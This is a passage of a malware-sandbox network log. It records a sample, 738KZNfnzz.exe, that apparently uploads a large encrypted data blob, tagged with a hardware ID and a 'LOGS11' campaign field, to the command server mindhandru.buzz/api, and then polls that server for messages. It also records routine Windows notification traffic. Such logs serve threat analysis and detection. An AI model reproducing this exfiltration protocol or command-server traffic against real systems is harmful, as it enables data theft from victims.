2024-12-27 14:05:37 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:05:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3ad48h30pe4qvrc0jnutvdhu5j; expires=Tue, 22 Apr 2025 07:52:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6DzlD546rsCQQ0VrbSQPkPKYCIq557b3TKoAtP%2BKD6SCu01sOuGJc5KSqAhPirCKI2qGy5PHY%2BT8ju5BEDmsLOGvRg9muUwcPemythr%2FTUU6RxwEIAN3ywrsVfkXs2LMG%2FY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89ddd13999c468-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1562&min_rtt=1555&rtt_var=599&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2097&delivery_rate=1804697&cwnd=235&unsent_bytes=0&cid=b7a78d01c605d09c&ts=777&x=0"
2024-12-27 14:05:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:05:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49739	104.21.11.101	443	1492	C:\Users\user\Desktop\738KZNfnzz.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:05:39 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6PJHR4AB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 588726 Host: mindhandru.buzz
2024-12-27 14:05:39 UTC	15331	OUT	Data Raw: 2d 2d 36 50 4a 48 52 34 41 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 37 32 43 39 43 41 34 39 35 30 39 32 41 33 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 36 50 4a 48 52 34 41 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 50 4a 48 52 34 41 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 36 50 4a 48 52 34 41 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --6PJHR4ABContent-Disposition: form-data; name="hwid"3C72C9CA495092A3BEBA0C6A975F1733--6PJHR4ABContent-Disposition: form-data; name="pid"1--6PJHR4ABContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--6PJHR4ABContent-Di
2024-12-27 14:05:39 UTC	15331	OUT	Data Raw: 92 61 fe 62 81 2e a5 7f bd 5f 9c a5 98 06 aa ff f6 50 68 18 72 3e b6 d8 39 e2 fa 34 da 37 d1 9d 1e be ae 5d d2 c1 5a 8c 07 ba 19 a3 b9 cb 1c 02 0e 5a 21 a0 5c 05 29 51 26 fa ee 43 8f 3c f4 5a 4a bb 6b cd f0 99 28 b2 7d 57 ce 92 03 8a 3c 8f ea 8e 57 a6 39 8a f6 25 69 f1 b8 16 9a 8c 58 14 c7 b3 be 4e 8f 8b 7b e4 28 69 c5 06 c0 be 3e a8 c6 0d b3 6c bc ea 40 7e 6a aa 1a 67 e5 c2 70 38 e6 2e f7 ae 9e d3 69 7e 28 ee fe 79 73 77 d4 ad a4 56 49 74 2f 41 65 28 12 a9 ca 5c 83 55 37 0b 40 f2 ff be f0 80 f1 cd 4c 4c 9d 6f 27 6f 17 23 cb 30 08 ca ae e4 0c 0d dc 65 34 55 64 1e c4 c0 8b b5 a5 3d b5 d4 05 6f ef ad 0f 52 7e b0 80 d2 f3 6b 72 8e a5 6e 49 4f ab af 34 9d 81 c0 7e 51 14 4d 60 58 90 f5 56 88 59 d1 ad cf 30 92 6b 68 df 8a 39 ca 7d bd 06 60 95 33 6a ea dc 4e fd Data Ascii: ab._Phr>947]ZZ!\)Q&C<ZJk(}W<W9%iXN{(i>l@~jgp8.i~(yswVIt/Ae(\U7@LLo'o#0e4Ud=oR~krnIO4~QM`XVY0kh9}`3jN
2024-12-27 14:05:39 UTC	15331	OUT	Data Raw: ea f5 20 3e 6f fd 07 c6 fa f3 28 44 2b fb 5c cf 90 35 b6 e7 16 ea 9f 69 29 1b c9 8f d3 30 d1 aa c0 7c 1d 6f 96 13 80 b1 c3 e7 78 61 7b ab a8 92 bf 90 fe 7a c6 50 d6 fd a5 ec eb 65 a4 84 2e cb 0d 45 70 ff d9 3c 52 ba 01 66 01 e4 7b aa 55 0e 42 12 a0 79 dc fb 25 27 dd 0f 9d c6 c7 35 88 83 79 c5 d5 f8 1e 11 c2 57 41 71 bb 78 9e a9 d5 49 52 3a 20 63 63 11 7d 5e 43 1a 59 c0 f6 f5 fb 84 c5 bd a7 ba 59 ed c3 e8 ae 3b e2 de dc db f4 6d 57 88 90 2c 02 1e 06 86 1f b3 c1 34 ba 51 60 a3 78 7e a3 da c2 0e c3 46 7d 25 cc 98 ce 09 ad 78 7d 85 db cb a3 93 c9 ba 23 81 0f 06 03 cf df fd 73 69 d7 96 7b 46 2b 9b af 05 4e 05 d6 6f 4f 2a 0f 2b 47 2c f1 b0 ba 4c 04 3e fc 67 fd 4a 03 8b 96 c2 c2 dd 8e 2c ce b7 a4 34 3a a7 91 30 e3 ef c1 3d 82 83 80 1e b3 c1 7d 38 79 b2 ef 25 53 Data Ascii: >o(D+\5i)0\|oxa{zPe.Ep<Rf{UBy%'5yWAqxIR: cc}^CYY;mW,4Q`x~F}%x}#si{F+NoO*+G,L>gJ,4:0=}8y%S
2024-12-27 14:05:39 UTC	15331	OUT	Data Raw: ea a1 a6 9e f9 d0 08 78 b4 c1 00 3b f5 1c e1 5b cc c6 27 62 c3 af 83 00 0f b1 bd e4 c1 2b d4 f8 ef 80 5d 49 47 8d fe 88 ff 33 bc e2 37 06 12 b8 6e 2f fc 80 14 80 19 bd 3d aa 0e 81 a1 8f 56 00 df e3 6b 75 22 e8 13 44 8a 3b 39 16 b0 b2 90 13 52 b6 73 f8 9f d0 12 e0 7c 76 b2 e4 77 ce fe 1c b5 2e 3d 70 e4 41 d3 52 40 f9 b2 6a 4e f9 7e 7c 7f cd d4 c2 d8 27 13 80 26 d7 f1 9e 09 36 79 52 6d 46 58 0d 0b 0d bf ca db d2 ea 9f 15 1e bf c2 07 a5 f4 52 d5 13 dc 6c 24 6d 64 38 ec ad 56 d2 89 a6 46 22 b3 33 e4 3d 84 af 09 70 4b 5e 72 69 55 67 c7 41 b4 21 44 44 18 7f 82 a0 f9 a8 d6 eb 30 2d 42 02 ac ec 25 57 7e dc 73 10 c6 71 12 f8 fb b1 a1 06 ed 07 0c b7 d7 68 e9 f9 79 38 a0 c8 1a 7d e2 27 aa d3 ff 66 ce 03 da b2 84 7b de 19 22 1c a7 a4 ee 2d 00 12 de 35 71 1c c6 51 b3 Data Ascii: x;['b+]IG37n/=Vku"D;9Rs\|vw.=pAR@jN~\|'&6yRmFXRl$md8VF"3=pK^riUgA!DD0-B%W~sqhy8}'f{"-5qQ
2024-12-27 14:05:39 UTC	15331	OUT	Data Raw: 7d 61 bb 90 60 5d 48 2c 67 1b 48 98 57 40 80 d9 9b d7 86 09 11 d7 98 d3 e6 16 2e ba 5a a8 29 7b 04 29 9a 74 8e 00 1f da f2 de 7f cf 59 2a 7a 66 ab a3 6a be 4f 5a b0 e4 87 f8 6c 87 90 ed 24 12 6d bb 07 b1 8a 6e 05 38 da 47 4b 18 cd 71 b3 91 c2 cf 3b 08 14 39 60 34 48 c2 cb ec 4e 9f 0e 24 18 02 ca 2e 5b 23 0c e8 cd 33 a0 48 fe 3c 47 a2 69 60 7a 75 c1 ec 95 43 7c 05 40 d9 e6 0f 17 12 02 b1 10 2c 2b 5c 93 16 b5 17 be e7 4c a7 25 ed d4 01 ed dd bd 7b c0 ac 0c 62 dd 80 27 71 d3 ba 6b 12 2d 7a ef b5 2e 53 10 6a dc 77 ea bc 00 6c c6 7d e3 e4 39 59 20 7b c3 d1 80 df bd f9 51 40 06 d4 fb cd 0c 27 10 4e 8a 90 45 dd df 4d c9 5d 9a ca f1 7d 38 27 c4 4a d0 24 cc 76 76 75 ba 41 ec ab 38 3d 92 39 92 a7 c8 e0 9a c8 ad a8 50 17 6f e8 c6 10 8f fe 1c ee 4d c0 09 44 82 30 0f Data Ascii: }a`]H,gHW@.Z){)tY*zfjOZl$mn8GKq;9`4HN$.[#3H<Gi`zuC\|@,+\L%{b'qk-z.Sjwl}9Y {Q@'NEM]}8'J$vvuA8=9PoMD0
2024-12-27 14:05:39 UTC	15331	OUT	Data Raw: e0 e0 26 ae a0 5c a2 0b bc 39 f6 8a f7 22 f6 b3 ac ba 55 5f 64 e4 6d d9 90 90 99 0e 29 e5 62 b9 bb d2 46 ac 76 65 5f c1 97 37 98 c9 4e 40 2a 3f 6e 31 03 17 dd 15 42 0d 5d da 6a 4d bd 31 62 27 ab 11 b8 9b aa 79 16 51 91 fa 16 5e c7 2d 67 53 6b 2e ec bd 39 d1 a7 5e f4 aa 50 7c 86 8c 3c 32 29 f0 bd d8 5f b8 2f e6 a6 86 7e ee 76 15 0d 8c 1a 18 1f 20 2a 4d 5e 9a 4f 2f c2 f6 07 64 bb d9 4e 0a ed d7 6f f6 f5 e7 ee 16 51 7a bc 8b a6 cf 17 30 48 82 4c bc 41 c9 be 91 ad 20 7b e1 34 ab 81 b9 cf c9 2b d6 1c cb 9e 7a 5f f8 a1 aa 0b f2 48 0b 13 42 8e 70 22 3a 12 e2 89 74 02 76 31 7f 8d 67 1c e1 d6 6e 71 34 84 32 eb bb ca 96 7e f2 68 4a 83 78 84 ea 1f cf 60 b9 94 b5 05 0f a7 7d 90 a7 1e de 83 a2 da e7 a9 ca 25 b3 5b 8a ed 83 16 3f ad ff 88 7e 6c 9a 72 70 7d 79 78 f0 23 Data Ascii: &\9"U_dm)bFve_7N@?n1B]jM1b'yQ^-gSk.9^P\|<2)_/~v M^O/dNoQz0HLA {4+z_HBp":tv1gnq42~hJx`}%[?~lrp}yx#
2024-12-27 14:05:39 UTC	15331	OUT	Data Raw: 55 f5 ac 73 5b 2d cf ef 7a 79 d3 cd 7f 25 6a c2 99 d9 5a 36 7f 31 75 3d 0b df 5e 22 f8 6a db a1 85 25 b3 b1 6a ea 35 ea dd 12 c1 e4 f6 04 2d 33 ff 85 dd 5f 5e 6d 69 97 a1 3a d8 e3 21 52 f3 aa 6c 44 e8 fb fd 60 ca d5 45 00 38 8a ec 7f 07 cb 15 c2 01 21 93 de c5 ff 1d 75 64 a7 b0 d9 a2 21 c0 1b b9 77 b9 ff 71 d2 b8 32 d5 73 2b 20 5b ee 03 03 33 10 a3 7b 4d 11 1c 4d fe e4 f7 e7 34 a5 ea f6 9c 13 05 25 52 c1 9e ff 6c 2a 82 42 8d 87 e4 9a e7 57 fc fd 6e 26 0c dc d8 14 bf 0f 30 b9 53 ea ec 2b d0 f5 f8 98 d9 f5 86 2d 07 52 a7 33 7e 85 35 95 a0 b1 d9 7f 89 b0 d8 6e 0f 9a ef d9 be e8 13 20 80 3e af 55 c3 1c 28 50 37 9c b7 37 36 15 c9 1d 9c 0d 75 3e 58 99 86 20 4e dd 3b f9 4e 0a 18 49 87 57 2a 1e 0c 8c 03 24 25 de a9 b3 9a 74 f6 96 cd b3 4a 55 fd c5 70 56 70 81 dc Data Ascii: Us[-zy%jZ61u=^"j%j5-3_^mi:!RlD`E8!ud!wq2s+ [3{MM4%RlBWn&0S+-R3~5n >U(P776u>X N;NIW$%tJUpVp
2024-12-27 14:05:39 UTC	15331	OUT	Data Raw: 15 ab 6d 82 f9 be bd ab aa aa 73 57 cd c6 d4 9a 0f 72 02 58 af 31 ff b2 d3 e1 06 3a e5 f9 0a 0b 56 d9 b2 55 d1 18 fb cf 21 5f ce 9a 05 5f 5f d3 55 25 f4 7f 08 bd fb 8f c0 ce 17 36 ad 2d e9 50 23 ca 63 19 ef d3 c7 0f d4 e4 34 f7 66 7c 78 c5 ad 6e 6c c3 66 e6 ee 1f c3 dc 98 58 5e 6f 1b 35 97 eb ae 33 35 51 04 3d 1d 4b 01 32 f3 1d 7f 0e da 85 ba b3 cc 54 0d e9 2d c1 46 5c ad 54 fb aa 9b 09 be ac 74 e0 09 bc 79 dc 5f f9 f1 08 b0 d2 e6 6e fd 75 d6 5d 2c 43 58 36 33 9a fa c4 d0 c6 80 39 20 fe b7 6d 40 3d 82 9a a1 c2 2b ab 5d 58 ad 4e 19 9e 59 18 61 de cd 49 39 f5 88 80 b9 a3 cd 70 56 11 6c 4d 0d 6b bb c2 0e 70 19 0d e0 7c 6f 61 1d 12 40 0a 82 bd 2e c9 bf af f2 d6 7e cf 56 63 b8 cb ec 25 a5 4e 73 d5 8c 14 6e e1 c3 55 7e 50 db 09 2b ae 07 ab 4d 6f 98 bb 64 89 5e Data Ascii: msWrX1:VU!___U%6-P#c4f\|xnlfX^o535Q=K2T-F\Tty_nu],CX639 m@=+]XNYaI9pVlMkp\|oa@.~Vc%NsnU~P+Mod^
2024-12-27 14:05:39 UTC	15331	OUT	Data Raw: 67 1a 4c e2 a4 1f 8d f0 72 26 28 55 a4 ce 35 bc 43 82 e3 7b 1a 3d 52 a9 e1 7e 7c a7 cb 84 69 8d bb e8 d8 50 38 a4 d4 b8 2c ef f8 56 0b 4f cc 25 0b 64 36 e9 d9 26 b5 54 bd c4 bb 90 20 8a 3d 0b c0 c4 75 1d a5 22 ca b6 d5 f8 e2 4d cc 1f 95 95 c1 26 64 cc e6 0b 56 9f 27 99 40 f3 3e 27 29 99 0a 85 10 36 37 bd a2 02 9a bf 12 59 e4 45 ee 30 0c b2 49 0b e9 e0 33 9f 6d 50 5a 12 e9 99 d3 ad 31 48 83 1a 47 f9 08 67 89 24 29 a8 f4 77 cd 79 d3 27 42 d4 34 c8 3c c9 4d 0e 0e 68 51 70 a9 7c 61 57 a4 47 fc 0c b2 e2 c9 17 cc e8 cf d6 22 f3 95 f0 70 2c af e5 46 bb 6e 1d 93 dc 1c 3d 38 63 69 34 9e 88 2f 7f 60 49 ee bb 5c e4 bd 38 cc d3 17 04 81 cd b2 61 f7 84 d3 ef 1f 81 2d 1b 0b 03 1f a5 eb a2 54 a3 82 cd 81 e5 36 bb 14 74 bd 14 b7 65 a2 fb dc 86 4e 9e 0c 88 5d 5e fe bf 54 Data Ascii: gLr&(U5C{=R~\|iP8,VO%d6&T =u"M&dV'@>')67YE0I3mPZ1HGg$)wy'B4<MhQp\|aWG"p,Fn=8ci4/`I\8a-T6teN]^T
2024-12-27 14:05:39 UTC	15331	OUT	Data Raw: 51 df d8 47 90 a2 c9 66 37 4b 01 01 f2 2f 03 a3 a9 c2 7d fa 45 46 4c 0b 65 91 07 af 09 d3 6c 4f 57 0e a9 45 c2 db d7 7a a3 a2 32 f8 91 01 5c 17 38 cf 2c 75 43 e4 ff a1 47 12 92 ae f8 fb 63 35 d7 57 3a 05 40 87 99 20 a8 dc 9b d1 2a ef a4 60 bb 25 e0 7f ea 83 a9 da 90 5d fb 10 9d a4 54 79 99 9e b4 2e ba f4 cc 95 50 8a 81 57 2b b8 22 25 28 56 1a 60 67 88 80 c6 43 f4 ad 6b 5b b1 48 31 f8 f5 01 79 74 be 00 9a f6 1c 7a db 44 76 87 e8 7e a8 d7 ee 51 d3 34 34 28 11 d3 31 a1 0e 82 a1 38 da 24 4e 80 ad f9 05 95 f7 8a b3 1f 34 ea c2 2a a4 9c 57 ce ea d0 a9 ad 3d 7c 9d 0a d3 67 c9 eb cd a3 c8 ef d9 1e cf 36 3e 0d 4c d8 6e 03 19 5e 84 0e 71 8e c9 5c 4c 9e ca 8a 45 33 38 d3 90 5e 51 98 40 bb 20 24 d2 ef 83 d4 c6 f1 d9 c1 1e ea 51 26 1f e6 95 8d e1 14 57 12 b2 41 06 3f Data Ascii: QGf7K/}EFLelOWEz2\8,uCGc5W:@ `%]Ty.PW+"%(V`gCk[H1ytzDv~Q44(18$N4W=\|g6>Ln^q\LE38^Q@ $Q&WA?
2024-12-27 14:05:43 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:05:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ikneqopolglpp917uu37357ghr; expires=Tue, 22 Apr 2025 07:52:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AL3wdRZbqns29L1%2BKSkUvtfC4g5148X2a0y7auHK%2BxQ3boMMHl5%2FiznitH92aJTmvCwXTrMMQB4D6v%2Ft%2B8wY4DgnNdvseoRRMWuEefPfYR8xpNNyVfREZGYha6Q%2B0VURg08%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89dde34bd34315-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2334&min_rtt=2332&rtt_var=880&sent=329&recv=615&lost=0&retrans=0&sent_bytes=2837&recv_bytes=591306&delivery_rate=1239915&cwnd=218&unsent_bytes=0&cid=b1cb0d10fcc47d12&ts=4411&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49732	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:05:39 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6f 75 67 4b 71 51 41 49 56 45 4f 31 73 6f 32 67 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 62 30 35 37 36 31 30 63 32 64 61 66 65 63 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ougKqQAIVEO1so2g.1Context: cb057610c2dafec1
2024-12-27 14:05:39 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-27 14:05:39 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6f 75 67 4b 71 51 41 49 56 45 4f 31 73 6f 32 67 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 62 30 35 37 36 31 30 63 32 64 61 66 65 63 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ougKqQAIVEO1so2g.2Context: cb057610c2dafec1<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrp
2024-12-27 14:05:39 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6f 75 67 4b 71 51 41 49 56 45 4f 31 73 6f 32 67 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 62 30 35 37 36 31 30 63 32 64 61 66 65 63 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: ougKqQAIVEO1so2g.3Context: cb057610c2dafec1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-27 14:05:40 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-27 14:05:40 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 67 43 34 79 53 4e 64 43 55 6d 70 74 53 35 58 66 47 69 59 50 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qgC4ySNdCUmptS5XfGiYPg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49750	104.21.11.101	443	1492	C:\Users\user\Desktop\738KZNfnzz.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:05:44 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: mindhandru.buzz
2024-12-27 14:05:44 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 33 43 37 32 43 39 43 41 34 39 35 30 39 32 41 33 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=3C72C9CA495092A3BEBA0C6A975F1733
2024-12-27 14:05:45 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:05:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vgki1a0absdhl09kmgk0gq45qj; expires=Tue, 22 Apr 2025 07:52:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3rnOob6QryX9lMUBb439g%2BxJuYWV5dmm8z4TFoVtFtnoHJnkol29pPkJtNZgwszQxDlb521ecsb%2F2jMVkdUSC2bVrZzGRyIBBN1Z522wL5I%2FbDrqdYJO77mvluQ6qynjPB4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89de050ffeefa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1812&min_rtt=1812&rtt_var=679&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=987&delivery_rate=1610590&cwnd=114&unsent_bytes=0&cid=b0edff299d4d7925&ts=780&x=0"
2024-12-27 14:05:45 UTC	210	IN	Data Raw: 63 63 0d 0a 6f 71 46 76 63 46 6f 6f 62 58 2f 58 37 68 46 72 69 68 6b 57 59 52 35 35 69 79 62 68 61 6d 76 32 6e 35 45 75 67 41 39 7a 6d 36 44 35 32 6b 30 46 65 42 4a 50 46 36 4f 61 59 56 48 57 4e 6b 70 4f 4c 30 47 2b 43 4e 4e 62 58 74 69 75 6f 42 32 75 50 6b 58 48 6a 38 33 48 43 53 78 31 54 41 67 5a 2b 59 74 70 44 71 67 31 4e 41 64 71 57 37 45 57 7a 55 67 4f 31 4b 57 67 55 36 78 30 55 65 36 43 6d 49 4d 48 42 43 35 59 56 79 50 34 73 6a 35 61 73 69 77 34 55 79 39 4d 70 52 66 51 57 55 58 48 71 63 30 42 37 32 6b 56 78 34 2f 47 78 41 6c 65 50 31 41 49 58 66 76 4d 64 78 2b 6f 49 79 5a 4e 50 42 79 70 48 4e 45 58 4e 67 3d 3d 0d 0a Data Ascii: ccoqFvcFoobX/X7hFrihkWYR55iybhamv2n5EugA9zm6D52k0FeBJPF6OaYVHWNkpOL0G+CNNbXtiuoB2uPkXHj83HCSx1TAgZ+YtpDqg1NAdqW7EWzUgO1KWgU6x0Ue6CmIMHBC5YVyP4sj5asiw4Uy9MpRfQWUXHqc0B72kVx4/GxAleP1AIXfvMdx+oIyZNPBypHNEXNg==
2024-12-27 14:05:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49764	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:05:52 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 53 30 4c 54 4c 7a 4a 4f 5a 55 53 38 4b 74 2b 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 64 64 36 30 38 64 66 61 31 37 34 62 62 66 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: S0LTLzJOZUS8Kt+1.1Context: 5dd608dfa174bbf5
